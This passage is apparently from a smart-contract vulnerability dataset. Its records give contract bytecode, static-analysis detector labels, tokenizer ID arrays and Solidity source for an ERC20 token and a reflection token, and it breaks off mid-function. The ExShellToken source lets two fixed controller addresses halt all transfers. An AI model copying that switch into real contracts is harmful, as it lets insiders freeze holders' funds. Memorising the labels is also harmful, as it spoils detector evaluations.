1600160a01b03831630145b806109c957506001600160a01b03821630145b15610a50576001600160a01b0382166000908152602081905260409020546109f190826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a43908590610f5d565b60405180910390a3610725565b600a546001600160a01b0383811691161415610a6b57610725565b6001600160a01b038216600090815260208190526040902054610a8e90826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908590610f5d565b6001600160a01b038216610b065760405162461bcd60e51b81526004016107ef90610e93565b610b1282600083610725565b610b4f81604051806060016040528060228152602001611049602291396001600160a01b03851660009081526020819052604090205491906107ff565b6001600160a01b038316600090815260208190526040902055600254610b759082610bc2565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb6908590610f5d565b60405180910390a35050565b60006107f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107ff565b600060208284031215610c15578081fd5b81356107f881611033565b600060208284031215610c31578081fd5b81516107f881611033565b60008060408385031215610c4e578081fd5b8235610c5981611033565b91506020830135610c6981611033565b809150509250929050565b600080600060608486031215610c88578081fd5b8335610c9381611033565b92506020840135610ca381611033565b929592945050506040919091013590565b60008060408385031215610cc6578182fd5b8235610cd181611033565b946020939093013593505050565b600060208284031215610cf0578081fd5b5035919050565b600080600060608486031215610d0b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015610db057858101830151858201604001528201610d94565b81811115610dc15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8757610f8761101d565b500190565b600082610fa757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610fc657610fc661101d565b500290565b600082821015610fdd57610fdd61101d565b500390565b600281046001821680610ff657607f821691505b6020821081141561101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b12931df309fbf4aebc2439c44b1c9e11e9ce17db49b1346a391ace7e4490d6c64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 17914, 22203, 27531, 24087, 28311, 2581, 23833, 2620, 2683, 2581, 21472, 24434, 19797, 2692, 6305, 2620, 2050, 21926, 7011, 2629, 2094, 21472, 6679, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1020, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 6402, 1006, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,185
0x96582a2d6eeaf802d2fc3e5bc6886fafc0eb793e
pragma solidity ^0.4.10; contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token , SafeMath { bool public status = true; modifier on() { require(status == true); _; } function transfer(address _to, uint256 _value) on returns (bool success) { if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { balances[msg.sender] -= _value; balances[_to] = safeAdd(balances[_to],_value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to],_value); balances[_from] = safeSubtract(balances[_from],_value); allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) on constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) on returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ExShellToken is StandardToken { string public name = "ExShellToken"; uint8 public decimals = 8; string public symbol = "ET"; bool private init =true; function turnon() controller { status = true; } function turnoff() controller { status = false; } function ExShellToken() { require(init==true); totalSupply = 2000000000; balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; init = false; } address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; modifier controller () { require(msg.sender == controller1||msg.sender == controller2); _; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063084592cb14610165578063095ea7b31461017c57806318160ddd146101e1578063200d2ed21461020c57806323b872dd1461023b578063313ce567146102c057806352a8aeab146102f157806370a082311461034857806395d89b411461039f5780639eeb30e61461042f578063a9059cbb14610446578063bc13e3a6146104ab578063dd62ed3e14610502575b600080fd5b3480156100e157600080fd5b506100ea610579565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b5061017a610617565b005b34801561018857600080fd5b506101c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e7565b604051808215151515815260200191505060405180910390f35b3480156101ed57600080fd5b506101f66107fb565b6040518082815260200191505060405180910390f35b34801561021857600080fd5b50610221610801565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b506102a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610814565b604051808215151515815260200191505060405180910390f35b3480156102cc57600080fd5b506102d5610bac565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fd57600080fd5b50610306610bbf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035457600080fd5b50610389600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be5565b6040518082815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4610c50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f45780820151818401526020810190506103d9565b50505050905090810190601f1680156104215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561043b57600080fd5b50610444610cee565b005b34801561045257600080fd5b50610491600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dbf565b604051808215151515815260200191505060405180910390f35b3480156104b757600080fd5b506104c0610fac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050e57600080fd5b50610563600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd2565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561060f5780601f106105e45761010080835404028352916020019161060f565b820191906000526020600020905b8154815290600101906020018083116105f257829003601f168201915b505050505081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106c05750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156106cb57600080fd5b60018060006101000a81548160ff021916908315150217905550565b600060011515600160009054906101000a900460ff16151514151561070b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600160009054906101000a900460ff1681565b600060011515600160009054906101000a900460ff16151514151561083857600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610903575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561090f5750600082115b15610ba05761095d600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361107b565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e9600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110a5565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ab2600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110a5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ba5565b600090505b9392505050565b600560009054906101000a900460ff1681565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060011515600160009054906101000a900460ff161515141515610c0957600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce65780601f10610cbb57610100808354040283529160200191610ce6565b820191906000526020600020905b815481529060010190602001808311610cc957829003601f168201915b505050505081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d975750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610da257600080fd5b6000600160006101000a81548160ff021916908315150217905550565b600060011515600160009054906101000a900460ff161515141515610de357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610e325750600082115b8015610e55575060008373ffffffffffffffffffffffffffffffffffffffff1614155b15610fa15781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610ef0600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361107b565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610fa6565b600090505b92915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060011515600160009054906101000a900460ff161515141515610ff657600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008082840190508381101580156110935750828110155b151561109b57fe5b8091505092915050565b6000808284101515156110b457fe5b828403905080915050929150505600a165627a7a723058200695a05b60aa5dd3907f609f0b49984c74d6fc28b1266fb4f8b329c906e47e700029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2620, 2475, 2050, 2475, 2094, 2575, 4402, 10354, 17914, 2475, 2094, 2475, 11329, 2509, 2063, 2629, 9818, 2575, 2620, 20842, 7011, 11329, 2692, 15878, 2581, 2683, 2509, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2184, 1025, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1060, 1010, 21318, 3372, 17788, 2575, 1061, 1007, 4722, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1062, 1027, 1060, 1009, 1061, 1025, 20865, 1006, 1006, 1062, 1028, 1027, 1060, 1007, 1004, 1004, 1006, 1062, 1028, 1027, 1061, 1007, 1007, 1025, 2709, 1062, 1025, 1065, 3853, 3647, 6342, 19279, 22648, 2102, 1006, 21318, 3372, 17788, 2575, 1060, 1010, 21318, 3372, 17788, 2575, 1061, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,186
0x96588f998bd5a20c2de70ca0e77f1efb8df93651
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PhoenixFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Phoenix Finance | t.me/PhoenixFinance9'; string private _symbol = 'Phoenix'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = 